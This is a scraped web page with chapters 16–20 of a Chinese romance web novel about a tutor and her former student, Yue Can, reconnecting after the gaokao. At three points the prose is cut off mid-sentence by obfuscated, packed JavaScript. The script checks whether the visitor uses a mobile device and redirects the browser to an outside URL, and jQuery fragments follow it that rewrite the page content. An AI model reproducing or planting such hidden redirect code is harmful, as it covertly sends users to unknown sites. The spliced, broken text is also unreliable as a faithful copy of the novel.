这么抱着,越灿本来还算镇定,直到薄晚照偏头将脸贴在她颈间,呼吸若有若无,扫过细腻的皮肤,温热,环在腰间的手臂也紧了紧。 温柔又带着强势的深拥。 越灿脸颊微微发烫,知人知面不知心,明明平时一副谁都不爱的模样,实际上这么黏人的? 16.第 16 章 越灿怕痒,薄晚照脸颊和散乱的发丝都蹭得她痒,还有薄晚照身上好闻的味道,也因为拥抱被放大了许多倍……总之,她被弄得睡意全无了,清醒得能数清心跳节拍,大概是从未跟别人这样抱过,心率有些过快。 一人清醒一人熟睡,这个过于亲热的姿势维持了好几分钟,越灿始终都没出声——她几乎没见过薄晚照这么舒缓放松的模样,而薄晚照将她搂得紧紧的,就像是在让她乖点,不要乱动。 所以这样的薄晚照,就是卸下面具后的薄晚照?至少比平时更真实些。 越灿好奇,又垂眼瞧瞧。她完全理解为什么那么多人想追薄晚照,能力强气质温柔,长得也好看,这种类型的女生的确能轻而易举地让人心动。但薄晚照不会让别人追的…… 触感和温热都太过真实,薄晚照手臂动了动,睁开眼,从睡梦到现实总要缓冲个两秒,她看了看越灿。 很不巧,越灿正在盯着人脸庞看,薄晚照就这么醒来,一时让她别扭无措。 怀抱温暖,薄晚照立即意识到自己昨晚没克制住,越界了,不过她还算淡定,及时松开越灿,“怎么不叫醒我?” 刚醒来时的嗓音低哑,因为方才暧昧的肢解接触,导致这句话听着也暧昧,跟情侣间的悄悄话似的。越灿闻声看着她,有一瞬短暂失神。 “我……”越灿为自己感到委屈,想到薄晚照做噩梦时身体发抖,脆弱破碎的模样,她小声嘀咕道,“行,怪我。” 薄晚照语塞,她已经在床上坐起身,时间都过了十点。她也没有设闹钟的习惯,平日总是六七点就会自己醒来。 越灿也坐了起来,“我看你睡太舒服了,就没叫。” 薄晚照又是沉默,她确实没睡得这么舒服过……她下床,低声道:“起来准备上课了。” 越灿差点两眼一黑。 好无情的一句话,好无情的女人啊。 越灿看薄晚照就跟川剧变脸一样,转眼便恢复了往常的状态,好像刚刚在床上抱着自己腻歪的那个人不是她。合着把自己当人工抱枕了,用完了就无情甩开。 - 又度过几个忙碌的周末,高考如期而至。 虽说这学期越灿学习挺拼劲,不过她还是一如即往的学渣心态,没什么紧张感,反正考多少算多少。谭茗会督促她认真点学习,但从不会给她施加具体的压力,所以她的高三生活不算痛苦。 六月,被称作人生转折点的高考,蜻蜓点水般从越灿的人生中过去了。她细想了下,高三生涯中印象最深刻的,竟然是跟着薄晚照在出租屋里埋头学习的日子。 高考一过,钟然计划的毕业旅行成为了她们之间最重要的事。 钟然在策划活动方面的能力跟学习能力成反比,她熬了两个大夜,在之前计划的基础上,又做了份详尽的旅行计划表,两个多月的行程,从南玩到北,吃喝玩乐,几乎霸占整个暑假。 高考结束的第五天,她们从南夏出发,除了钟然洛扬,还有庄绮梦和她的两个朋友,否则几个刚成年的女孩,这么长时间远距离的旅行计划,实践起来真有点没底。 虽然成绩还没出来,但因为高三越灿学习积极,谭茗提前给了她奖励,送了她一个新相机,还提供了一笔丰厚的旅行资金。 出发的这天刚好是周六,一行人早早到了机场。 越灿在机场拍了张出发照,发给了谭茗,瞥见微信列表里薄晚照的头像,忽然出了出神,以往这个时间,她都该去找薄晚照了。 高考结束后,两人理所当然的没再见面了,交集一下变空白。 其实最后一节课时,越灿有点儿不舍的感觉,毕竟都习惯了每个假期都有“魔鬼”守着自己。但薄晚照似乎不然,那天傍晚,薄晚照只是例行公事般对她说了句“高考加油”,然后就没有然后了。 假期不用再守着自己,她应该在忙其他兼职吧,反正不会闲下来休息。越灿想着…… “灿灿,快投票。”一旁钟然兴奋得很。 越灿还走着神。 “想什么呢?”钟然用胳膊推了推越灿,一个劲催促着,“中午吃什么,快投票。” “随便……”越灿顺口回答,然后反应过来钟然是让她投票,她又指指屏幕,“我选烤肉。” “你不会还在怀念高中生活吧?”钟然吐槽道,高考完洛扬不兴奋也就算了,她不明白越灿怎么也完全不兴奋。 越灿笑了笑,“我有病吗?” 钟然:“你怎么心不在焉的?” 越灿:“我哪有。” …… 旅途中的风景能让人放下很多事,再加上同行的又都是聊得来的朋友,越灿这场旅行玩得开心尽兴。 出高考成绩那天,她们在海边玩冲浪,中午吃饭时,不可避免地聊起成绩的事。 越灿也查了分,居然还超水平发挥了一些。 钟然看着自己少得可怜的那些分,也不难过,大大咧咧说着:“灿啊你怎么考这么好,我不能跟你去一个学校了。你打算去哪个城市?” 越灿喜欢新鲜,早就在南夏呆腻了,肯定不考虑南夏的学校,她心里有几个城市,但还不确定。她懒懒散散说:“看到时候录在哪吧。” “洛扬,你的分够了哎!太好了!”比起自己的成绩,钟然更关心洛扬的,她知道洛扬的目标。 “你想好去哪个城市了?”洛扬问钟然。 “就我这点分,去哪个城市都行,无所谓。”钟然琢磨了下,她看看洛扬,“要不我跟你走吧?” 洛扬顿了顿,“可以。” 钟然笑着:“听说那边好吃的多。” 洛扬:“……” 越灿猜钟然大概率会跟洛扬去同一个城市,尽管钟然一口一个老古董吐槽洛扬,但实际上却离不开洛扬,这两人从小学就一直在一块儿,分开肯定不习惯。 她倒是没有必须跟朋友去一座城市的想法,那样选择就不够自由了。 越灿将查到的成绩截图下来,然后发给了薄晚照。自己这回考得还不错,怎么也得夸奖一句吧? 没收到回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790737|157530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 复。 一顿饭下来,越灿手机看了八百遍,都没等到薄晚照的回复。大忙人可真忙…… 直到半小时后,越灿看到手机屏幕亮了亮。 【bwz】考得不错,恭喜。 一句中规中矩的祝贺,和越灿想象中的回复相差无几,明知道薄晚照只会说这些,不知道在期待个什么。 看着聊天界面,越灿犹豫了会儿,点开照片,选了一张上午冲浪时拍的照片,选择发送过去。 【越灿】第一次冲浪就站起来了,厉害吧 薄晚照正在食堂吃晚饭,她点开照片,湛蓝无际的海,翻涌着白色浪花,站在冲浪板上的女孩被阳光环绕,笑容灿烂,无忧无虑。 越灿这次没等太久就收到了回复。 【bwz】厉害 越灿无奈笑了几下,果然不该有期待的,刚刚特意挑了一张最好看的,再多夸一句漂亮会要她命吗? “ 小灿,你是不是谈恋爱了?”庄绮梦眼尖,留意到餐桌上越灿的反常。 “啊,你谈恋爱了?”钟然咋呼看向越灿,“什么时候的事,你怎么没跟我说?我都不知道?” 越灿想拿食物堵住钟然的嘴,“没有。” 庄绮梦:“那给谁发消息,笑那么开心。” 越灿含糊说:“一个朋友。” “一个朋友啊。”庄绮梦以调侃的口吻复述,她想了想,“上次和你来冰场那个?” 越灿:“嗯。” 一起去冰场?钟然以为终于抓到了越灿什么秘密,她好奇问庄绮梦,“小庄姐,那个人长得帅吗?” 庄绮梦笑笑,回答钟然:“长得很漂亮。” 钟然迟钝反应了一下,好像知道是谁了,她看看越灿,“薄晚照?” 越灿点头。 钟然略显失落,还以为有什么花边新闻呢。 …… 转眼八月,南夏化身成了火炉,持续高温。 暑假薄晚照依旧忙碌,大部分时间,她除了挣钱还是挣钱,这就像是个无底洞,永远填不满。 六月以后,她的生活安静很多,狭小破旧的房间恢复了以往死气沉沉的状态,寂静沉闷,不再出现任何闹腾的欢声笑语。 薄晚照带完一天的家教,已是天黑。无聊而疲惫的一天又将结束,再等待漫长的黑夜过去,往复循环。 她机械般迈着步子往回走,迎面吹来的风闷热,令人透不过气。 夏夜的巷子比冬夜热闹些,三三两两的老人在树下摇着蒲扇纳凉,有一搭没一搭地聊天打发时间。 不知名的猫猫狗狗们也在到处闲逛。 薄晚照快走到门口时,脚步忽而慢了慢。屋檐下,一个穿长裙的女孩在那弯腰喂猫,高挑的身影熟悉。 她继续走近,最后停在对方身边,“进去吧。” 女孩听到有人过来,直起腰,她不明所以地看着跟自己搭话的人,“啊?” 薄晚照看清眼前完全陌生的脸……她平静淡笑了下,“抱歉,认错人了。” 17.第 17 章 女孩礼貌说了句“没关系”,离开了。 薄晚照心想自己大概是累过头了,她拿出钥匙准备开门。 小猫还呆在原地,冲她叫了叫。 薄晚照低头看猫,是叫脏脏包的那只猫,她碰见好几次了,大概是以前越灿投喂得太勤,尽管越灿没再过来这边,它照旧常来蹲守。 小猫上前蹭她裤腿,无声撒娇,又抬头看她,眼睛圆溜溜的,像在询问那个人怎么没来。 …… 两个多月,越灿东南西北去了个遍,八月中旬,旅程也接近尾声,再玩几天就该回南夏了。 她们行程安排得不算紧,但天南海北一大圈玩下来,不累是假的。 抵达要打卡的最后一座城市,当晚大家吃了饭回到酒店,没安排其他活动,都想早早休息。 越灿和钟然住在一间,洛扬和她表姐庄绮梦一起。 回到房间,越灿冲了个澡,扎进柔软的被褥里,抱着只枕头跟钟然懒懒吐槽:“接下来的一年我都不想旅游了。” “我也是,想回家了。”钟然也无精打采的,歪在沙发上修照片。 越灿躺了会儿,拿起手机玩,然后挑了些照片,发了条朋友圈。她发朋友圈不是为了分享给别人看,更多是记录一下生活。 点赞评论的人很多。 越灿百无聊赖,点进去看看,往下划着长长的通知。 果然永远没有那位。 越灿觉得她跟薄晚照之间的关系很难说得清,姐妹?朋友?似乎哪个都不像。 要说不熟,薄晚照会带她回家过夜处处照顾,要说熟悉,薄晚照好像没想跟她有更多交集…… 越灿不是被动的性格,但她心气高,也不会单方面主动,多没劲。 有的没的乱七八糟想了会儿,越灿搁下手机很快睡着,实在玩累了。 翌日的行程安排轻松,就逛一个景点。 景区有一棵祈愿古树,颇有名气,有不少旅客驻足。 钟然提前做过功课,说超级灵验,怎么也要许愿一下。 越灿也拿了块许愿牌,凑个热闹。她猜钟然会许愿脱单找个女朋友,洛扬肯定是学习方面的,她琢磨半晌,想不到写什么心愿。通常她有什么愿望,都能被满足,用不着特意许愿。 最后她写了个中规中矩的“越灿永远开心快乐”。 “听说这棵树超灵的。” “有点玄学在。” …… 周围的游客也说得神乎其神,越灿忽然想到什么,她犹豫片刻,还是跑去多买了一个许愿牌。 骄阳高照,越灿低头握笔写得认真,这次她倒是没纠结,三两下就写好了。 “你还帮谁写?”钟然看越灿写了两个,探过脑袋问。 “没说只能许一个愿吧?”越灿挡了挡许愿牌,不让看。 钟然说:“太贪心了,小心实现不了喔。” 越灿无所谓笑笑,心想,那就实现后面这个好了。 不久,两只许愿牌一起挂上树梢,在阳光下迎风摇晃。另一只写着:薄晚照一帆风顺,得偿所愿。 - 快八月底,毕业旅行圆满结束,越灿拖了两个超大行李箱回到南夏,买了一堆纪念品小礼物什么的,用来送人。 一回到南夏,就要为即将到来的大学生活做准备了。 越灿最终选了南夏北边的一所大学,离南夏不算太远,她选择的理由也简单粗暴,那边冬天能看到雪。 钟然跟着洛扬走,如愿以偿和洛扬录在了同一城市,查了地图,两人学校还相邻,距离不到一公里。 即将迈入人生新阶段,越灿没太大感觉。假期最后几天,钟然又约她一起看电影,正是之前钟然跟她说的那部,她也是佩服钟然的执着。 好朋友马上就要分开,看电影是其次,主要是在一块儿聊天。 两人盘腿坐在沙发上,一边吃冰淇淋一边看投影上的画面,时不时闲扯。 是部剧情片,感情戏为辅,越灿看了进去,挺吸引人的。她正看得投入,微信消息响了几下。 钟然问:“谁啊?” 越灿扫了一眼没回复,又往嘴里送了一口雪糕,面无表情回答:“表白的。” 钟然:“这都第几个了?” 越灿有点烦,“第二个还是第三个。” 一毕业,大家在感情上就跟脱缰野马一样,也不收敛含蓄了,听说毕业聚会那晚,就直接成了三四对。 钟然又问:“你全都没兴趣?” 越灿:“嗯。” 钟然眉飞色舞地问:“那你对什么样的有兴趣?” 越灿反问:“怎么样算有兴趣?” “有兴趣就是……”钟然一 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越灿瞥瞥钟然,“科普完了吧。” 钟然没那么好忽悠,绕回之前的问题:“你还没回答我,你是不是对谁有兴趣了?” 越灿选择不回答。 钟然见问不出个所以然,只得心痒忍着,她知道越灿的倔脾气,越灿要是不想说,问到下辈子也问不出答案。 继续看电影。 电影走到了感情线,两个女主相拥躺在床上,耳鬓厮磨,轻声细语。 “啊啊啊啊啊啊太配了!”钟然看见这一幕,化身土拨鼠疯狂尖叫,还不停摇着越灿手臂。 越灿看着,没来由联想到那天薄晚照抱着她时的模样,也是这样亲密…… 当画面里的两个女人对视片刻,开始互相亲吻时,钟然更激动了:“啊啊啊啊啊啊好甜好甜。” “你至于吗?”越灿笑着嫌弃钟然的浮夸,说完,她又淡淡然盯着屏幕,两个女人正在温柔接吻,逐渐动情难舍难分……是有点甜。 刚刚想到薄晚照,越灿又记起件事,她拿起手机主动发了条微信出去。 【越灿】你明天在家吗? 薄晚照帮她提了那么多分,她当面送个礼物,也是应该的。 18.第 18 章 旅行带回来的礼物,越灿都送了出去,除了薄晚照那份。她本来想在前几天的升学宴上送给薄晚照,但薄晚照没来。 从钟然家离开,越灿才收到薄晚照的回复,她习惯了,大忙人总是不会在第一时间回消息。 【bwz】我不在南夏。 去外地了,所以升学宴才没来?越灿敲着键盘:你什么时候回来? 【bwz】下星期,有事吗? 下星期才回来,完美错过,越灿过两天就要开学了,她盯着屏幕,发过去一句:也没什么事。 说出来别扭,就一个礼物,也用不着特意见面送。 越灿原以为聊天就这么结束了,但过了一阵,她看到一条消息弹了出来。 【bwz】真没事? 又是姐姐般的关心,但算不得亲密,越灿总觉得带着距离感……如果亲密,怎么可能平时都不跟自己多说几句话。 回了个点头的表情包后,越灿将手机收进了口袋。 越灿有重度拖延症,距离开学仅剩十几个小时,她的行李还没收拾妥当。 “让你早点收拾,明天就要出发了,还一团糟,也不知道有没有落下东西。”谭茗抽出空来帮越灿收拾着行李箱,风风火火训话。她虽然忙,明天肯定还是要亲自陪女儿去学校的。 越灿向来不焦虑内耗自己,“要是落下什么,你们给我寄过来就好了。” 谭茗说她:“火烧眉毛了还没点紧迫感,也不知道你像谁。” “像我自己。”越灿悠闲收拾着东西,“全世界仅此一个,独一无二,稀世珍宝。” “少贫嘴。”谭茗拿起书架上的一个礼盒,“这是什么,带不带走?” 越灿看了眼,是给薄晚照准备的那份礼物,她从谭茗手里接过,“不带了吧。” 又过了会儿,越灿再看一眼礼盒,跟谭茗说:“妈,我出去一趟,等下回来。” 谭茗:“去哪?” 越灿说:“有点事。” 谭茗无可奈何:“让你干活你就有事了?要早点回来,晚上一起吃饭。” “知道了。” 越灿还是去了一趟梧桐巷,手里拎了不少东西,薄晚照没回来,她敲响了邻居周老太太的门。 慈眉善目的老太太打开门。 之前每次来补课都打招呼,越灿现在周老太太很熟络,“奶奶。” “小灿啊。”周老太太笑眯眯寒暄,“又来找你姐,她回来了?” “她还没回来。”越灿笑说着,“我明天就要去外地上大学了,经过这边来看看您,带了点水果。” “上大学好呀,这么客气,你的好意奶奶心领了,水果就不收了。” “收着吧,我想麻烦您一点事……” 越灿把另外一个纸袋交给了周老太太,让她到时候帮忙转交给薄晚照。老太太热心答应了。 等到晚间吃饭,越灿才给薄晚照发微信,说有东西给她,暂时寄放在邻居周奶奶家,让她回来记得拿。 通常在饭点薄晚照回复消息会快些,越灿都摸清了规律,果不其然,这次也如此。 【bwz】什么东西? 越灿卖了个关子,回复:到时候你就知道了。 这种小把戏逗不到没有好奇心的人,薄晚照就是没有好奇心的人,所以越灿没再收到追问。 次日清晨,越灿早早就从家里出发,父母难得都陪她一起。 尽管高中生活才过去几个月,但越灿改变挺大的,头发蓄长了许多,不再按学校的硬性规定扎着高马尾,而是柔顺自然地披在脑后。 坐车去机场的路上,谭茗左看看右看看,摸摸越灿的头发,感叹着:“怎么感觉一下就长大了。” 越灿玩着手机,“有这么夸张吗?” “灿灿,别的事妈妈不要求你,就谈恋爱这件事,你可一定得认真点。”谭茗有点忧心,不止一次跟越灿交代。 越灿无语笑了,“你怎么总觉得我要谈恋爱,我说了我没兴趣,要有兴趣早就谈了,追我的人可多了。” 谭茗笑她自恋,又说:“那你是没碰上,碰上了头脑一热,就不觉得没兴趣了。妈妈的话你记着没?这事不能闹着玩,得认真。” “你就放心好了,我眼光高得很,我能喜欢的人,保证你会满意。”越灿信心满满,钟然也常说她眼光高,好像什么人都看不上。 谭茗直笑,又揉揉她脑袋,“也是,我女儿的眼光肯定不能差。” - 九月中旬,薄晚照才回到南夏,因为导师有个项目要出差,她在外地呆了大半个月。 傍晚,她拽着行李箱回到熟悉的街道。正值饭点,老旧的房屋一一被昏黄的灯光点亮,传出饭菜香气,拮据却也温馨。 不过这种温馨与她无关。 她还没吃东西,不太有胃口,现在只想回去洗个澡睡一觉。 周老太太吃饭早,又坐在外边的梧桐树下纳凉,不停用蒲扇拍着腿边的蚊子。她抬头望见薄晚照,“回来啦?” 薄晚照笑:“嗯。” “等你好久了。”周老太太等好些天了,“你还有东西在我这,我给你拿。” 薄晚照也记得这件事,当时越灿没跟她说是什么,她也没多问。 过了片刻,老太太提了个手提袋出来,“前些天你妹妹来过,说等你回来,让我把这个交给你。” “麻烦您了。”薄晚照接过手提袋,粗略扫了眼,里面是猫罐头零食之类的,她瞬间明白……那天突然问自己在不在家,估计就是想说这件事。 周老太太乐呵呵说道:“你们姐妹感情挺好,你妹妹惦记你呢,她说要去外地上大学了,那还天特意跑过来给你送东西。” 薄晚照礼貌莞尔,是惦记那些猫吧。 回到房间,薄晚照才发现袋子里还有个包装精美的礼盒。她拿起礼盒打开看,不是给猫的。 是一条做工精细的手串,精致漂亮,还随了一枚平安符。 她怔了怔,很有心的礼物。 …… “灿灿,我准备好了。” “开始吧。” 越灿收到微信消息时,已经吃完晚饭,正准备和舍友一起开黑玩游戏,不亦乐乎。 来到新城市,虽然周围一切都陌生,但她性格外向,适应能力又一流,没花多少时间就和周围的人打成一片,对大学生活没有任何水土不服。 她们学校是四人寝,四个人性格迥异,但好在相处和谐,在一起吃了两顿饭,打了几把游戏,就玩到一块儿去了。 手机上方弹出消息通知,越灿瞥见一闪而过的“bwz”,大忙人回南夏了?她没顾游戏,很快切换了APP。 游戏房间是越灿开的,大家都等着她,催促:“灿灿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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越灿笑,觉得钟然太过敏感,女生之间就算亲亲抱抱,一般也不会想到那个层面吧。 “灿灿,你十一回去吗?”钟然又问,“我跟洛扬都回南夏,你也回来吧,好久没见着你了。” 越灿:“不就一个月吗?” 钟然失落,“那你不回来了?” “回来的。”越灿早几天就决定了假期回南夏,机票都买好了。有人还欠她一顿饭呢。 和钟然聊了半个小时,越灿又看到有人给她发消息,好像是薄晚照,她以为自己眼花看错了。毕竟薄晚照从来不会主动给她发微信,只会被动回复她的话…… 越灿点开看。 薄晚照只给她发了一张照片,因为是夜晚,照片昏暗朦胧,脏脏包正埋头吃着冻干。 小猫旁边还落了一道影子,显然是薄晚照。 越灿盯着照片笑了好一会儿,薄晚照答应她的每件事,都会认真做到……要不要这么好啊。 舍友转过头瞥见越灿一直在笑,好奇:“看什么笑成这样?” 越灿说不上来,这照片没什么好笑的,可她就是有说不出的开心。 薄晚照一个人站在清冷的小巷,低头看小猫呼哧呼哧吃着东西,挺无聊的,但她看了许久。 很快她发出的消息收到回复。 【越灿】好想回南夏啊 19.第 19 章 越灿看着照片里熟悉的小猫,想回南夏的心情忽然变得强烈。她虽然适应西城的生活,但到底是个陌生地方,初来乍到,家人朋友又都不在身边。她的确有点想念南夏了…… 军训结束后,上了一个多星期的课,越灿等来了十一长假。 大一选择回家的学生还是挺多的,越灿订了上午十一点多的机票,她早上醒来才打包好行李,匆匆出门。学校距离机场很远,不过有几个同学同行,一路闲扯说笑,路上也不算无聊。 从西城到南夏的航班一个多小时,午餐越灿就在飞机上解决,打个盹发发呆,很快就抵达了目的地。 取完行李出站,越灿看到有熟人在等她,是司机唐姐,家里另外两位老总肯定是没时间来接机的。 上车玩了会儿手机,越灿看到钟然甩了个机场定位过来,说她跟洛扬到准备登机了。钟然和洛扬是下午的航班,航程也更远,要比她回来得晚。 越灿也发了自己的定位,说已经到了。 每次坐飞机越灿都觉得累,她跟钟然简单说了两句,放下手机,靠在座椅上休息,闭目养神。 回到家,照旧只有胡姨在。 胡姨见到她的第一眼,就一副心疼的语气:“哎呦,怎么瘦了这么多,你妈看到又要心疼了。” 越灿笑,“哪有瘦很多。” “可不能再瘦了。”胡姨在越家干了这么多年,是真心疼越灿,忙前忙后地关心:“中午吃饭了吗?” 越灿说:“飞机上吃过了。” 胡姨卷起衣袖准备忙活,“那哪行,姨给你做好吃的,给你补补。” “不用了姨,我不饿,晚上再吃。”越灿赶忙叫住她,“我洗个澡休息下。” “也行,坐飞机累坏了吧。” 一身风尘仆仆的,越灿想去浴室冲掉,简单洗了个澡,换了套干净清爽的衣服,她站在镜子前吹着头发。 头发吹到半干,越灿盯着镜子里的脸多看了会儿,觉得自己这样刚刚好,不打算补回来了。高中时她补太多,脸蛋都快补出婴儿肥了,现在婴儿肥消了,脸上少了许多稚气。 回到卧室,越灿一股脑扑到床上,舒舒服服打了个滚,学校里的木板床跟家里的床垫完全没法比。 躺在床上看了会儿手机,她眼皮直打架,不知不觉就趴着困了过去。还是胡姨的敲门声惊醒了她。 胡姨问她:“灿灿,晚上想吃什么?” 想吃什么?越灿脑海里蹦出来一个人,她跟胡姨说了声“随便”,拿起手机发了两条消息,然后静待回复。 …… 薄晚照一下午都待在学校图书馆,撰写毕业论文。要喝水时才发现水杯里没水了,她起身去外边接。 饮水机旁她碰到之前同一课题组的苏映。 苏映刚接完水,给她让了让,顺道小声寒暄:“晚上还在这边吗?” 薄晚照:“嗯。” 苏映说:“我也是,那待会儿一起去食堂?” 薄晚照低声笑答:“好啊。”要是在学校,她都是在食堂解决吃饭问题。 “晚照,你毕业有什么打算?” “找工作。”薄晚照回答简单。 苏映笑了笑,她是想问更具体的情况,但薄晚照看着并不会说更多,她喝了喝水,又看了眼身边的人,“其实我觉得你好高冷。” 薄晚照接好了水,又是温和淡笑:“我高冷吗?” “嗯,但不是表面上的那种高冷……”苏映说笑着,她本来想说是那种骨子里透出的冷淡,但考虑到实在是太冒昧,便及时止住了。她等薄晚照接好水,一起回自习区,“走吧,等六点去吃饭,还有半小时。” “嗯。”薄晚照拿起手机查看消息,她一旦投入起来就很少分神,只有在喝水或是去洗手间时才抽空看看手机。 所以越灿下午三点多给她发的消息,她五点多才看到。越灿给她发了个定位。 【越灿】我回来了 【越灿】你十一在南夏吧? 薄晚照慢下脚步,回消息:在。 对方就跟住在了微信一样,秒回了消息。 【越灿】那我什么时候能来蹭饭? 蹭饭是说真的?薄晚照垂眸想想,把选择权抛给了对面。 【bwz】你想什么时候过来? 越灿看到,手快发了句:今晚行吗? 发完以后,越灿觉得这是不是太不矜持了,直接说今晚都不给人准备的时间。她还没思考好选哪天合适,就看到薄晚照回了她…… 【bwz】行 刚好有空啊? 越灿挺开心的。 薄晚照收起手机,跟苏映说:“不能一起去食堂了,我有点事。” 苏映看她回了下消息就改变了计划,好像很急,便关心问:“有急事?不要紧吧?” 薄晚照:“不是。” 苏映凭感觉又猜:“临时有人约?” 薄晚照点了点头。 苏映十分诧异地表示:“居然有人能把你从图书馆叫走?”她认识薄晚照这么久,知道薄晚照一向有计划,除非不得已,才会改变计划。 薄晚照跟她打声招呼,“改天见。” 苏映叹叹气:“那我只能一个人了。” 薄晚照将东西收拾了一下,离开图书馆。学校离她的住处很近,步行不到十五分钟 ,只是她途中正好遇到导师,跟她讨论了些论文上的事,耽误了一点时间。 又是日落,余晖沉沉。 梧桐树下有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14811656|157530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在喂猫,穿着休闲的T恤和浅色牛仔裤,长发微扬,脸上绽开的笑容干净明媚。 薄晚照远远就看到了,越灿比她还先到。 越灿其实刚到不久,逗了五分钟的猫,她时不时看向巷口,也及时注意到了那道熟悉身影。她摸了摸脏脏包的脑袋,直起身,看薄晚照越走越近。 薄晚照走近后,望着面前的人问:“来多久了?” 越灿也直直望着她,“不是给你发消息了。” 薄晚照语塞了下。 “习惯了,反正你也不会及时看消息。”越灿弱弱吐槽一句,然后咧嘴笑着,“没来多久,也是刚到。” 这几个月越灿变化挺大的,但这么一笑,又是熟悉的感觉。 两人有四个月没见面了,不过见面一说话,越灿觉得她们又回到了之前的状态,没有变生疏。她往薄晚照身边凑了凑,笑盈盈的,主动挑起话题:“我变化大吗?” 薄晚照目光掠过她脸上的笑,“有点。” 越灿追问:“我是不是变成熟了?” 薄晚照淡笑不语。估计再过几年,这个词也跟越灿搭不上边。 “你不夸一下吗?”越灿对薄晚照的夸奖莫名执着,“我回来她们都说我更好看了……” 薄晚照等她叨叨完,轻声说:“先进去。” 越灿:“薄晚照,你转移话题。” 薄晚照低头开门,某人一来,这边的空气又闹腾了。 越灿跟着薄晚照进屋,许久没来,还挺怀念的。她这次过来又买了些猫零食,还买了甜点,一起放在小餐桌上。 薄晚照看越灿轻车熟路,假期第一天刚回南夏就跑来找自己……她淡声问越灿:“又跟家里吵架了?” 越灿抬了抬头,“没有啊,心情很好。” 薄晚照盯着她,一时安静。 越灿发现薄晚照似乎有误解,是不是觉得自己在家里呆不下去了,才想着来这?她试探着问:“我平时不能来找你吗?” 薄晚照迟疑半分,没回答,她不太明白,越灿为什么愿意主动来她这——阴暗潮湿,没有任何吸引。 越灿看她不出声,“不方便?” “没有。”薄晚照转而问,“晚上想吃什么?” 越灿想了想,“糖醋排骨可以吗?” 薄晚照:“可以。” 越灿:“你什么菜都会做吗?” 薄晚照:“不会的我可以现学。” 越灿愣住,以前那么长一段时间,她怎么就没意识到薄晚照对她的好……她凝视薄晚照脸庞,“你总是这么迁就我,我会得寸进尺的。” 薄晚照看她,“可以。” 越灿没反应过来,“可以什么?” “可以得寸进尺。” 20.第 20 章 听到薄晚照轻声细语说着,越灿安静诧异,得寸进尺也可以,这未免好得过分了吧。她望着薄晚照,好看的眉眼始终温和,她忽然间能理解钟然常挂在嘴边的那句:谁能拒绝得了温柔姐姐。 “还要吃什么。”薄晚照问。 “还要,”越灿脑子里空白里一小会儿,“都可以。” 最终越灿跟着薄晚照一起去超市。 越灿说都可以,薄晚照就自己看着买,就算越灿不说,她也知道越灿饮食上的喜好:不喜欢吃鱼和鸡蛋,讨厌香菜芹菜,能接受葱姜,但不爱蒜味…… 两人直接走过水产区,没有停留。路过饮料区,薄晚照拿起一罐桃子味汽水,“喝这个?” “嗯,我也爱喝。”越灿有点小惊讶,“我们口味还挺合。” 薄晚照只是默默看越灿一眼,一起吃过那么顿饭,有些细节只要稍加留意就会发现。这种观察能力是她从小练成的,如果不懂得,会过得更糟糕。 越灿从不会留意细节,从小被捧在手心里长大的人,永远被精心保护着,从来不需要考虑太多。 采购完回去,夜幕降临,华灯初上。 薄晚照在厨房处理食材,越灿也跟着进来,能帮点是点,“我洗菜。” “嗯。”薄晚照这次没再让她出去。 狭小的厨房里,两人安静配合。 越灿觉得和薄晚照待一块儿舒服,大概是因为薄晚照不会多余的客套,也不会唠叨说教。神奇的是,就算薄晚照不跟她说话,她竟然也不觉得闷,感觉能一直待下去。 准备做糖醋排骨,薄晚照提前跟越灿说:“你先出去,会溅油。” 越灿说:“那我站远点看。” 薄晚照转头看她,无奈笑了下,“这有什么好看的?” 越灿嘴硬说:“挺好看的。” 薄晚照不再多说,由她。 排骨一下锅就噼里啪啦起来,油花四溅,这动静挺吓人的,越灿下意识往后缩了缩,薄晚照一如既往地从容。 翻炒了一会儿,薄晚照将火关小,然后走到水槽边拧开水龙头,让冷水冲着手背。 “烫到了?”越灿往薄晚照身边凑了凑,瞧见她手背上有被油溅到的痕迹,很快泛红,“没事吧。” 薄晚照轻松说:“没事。” 越灿怕疼,看着都疼,但薄晚照就跟没事人一样,她头一回看到被烫伤还这么淡定的人。“有烫伤膏吗?” 薄晚照说:“冲一下就行了。” “那我去买一下。”越灿说着转身便要出门。 “越灿……” 薄晚照想叫住她说不用。 “我很快就回来。”越灿留下一句话,匆匆出去了。 附近就有药房,几百米的样子,越灿步伐匆忙,不一会儿就回来了。她稍稍有点热,虽然眼下到了十月份,但南夏慢吞吞的,还没走出夏天,这几天气温依旧高。 糖醋排骨已经装了盘。 越灿走到薄晚照身边,低头将手里的小药罐拧开,说:“先擦点药吧。” 薄晚照看她脸颊微红,匆匆忙忙赶回来的。 越灿用手指小心翼翼沾了沾药膏,抬起头,“手。” 薄晚照:“我自己来。” 越灿盯了盯自己已经沾了药膏的手指,又盯了盯薄晚照。 薄晚照:“……” 她只好抬起手送到越灿面前。 越灿却犹豫了,确认一下,“就这样直接擦?”问完她觉得自己像傻子,不直接擦难道口服,主要是她完全不会照顾人,生疏。 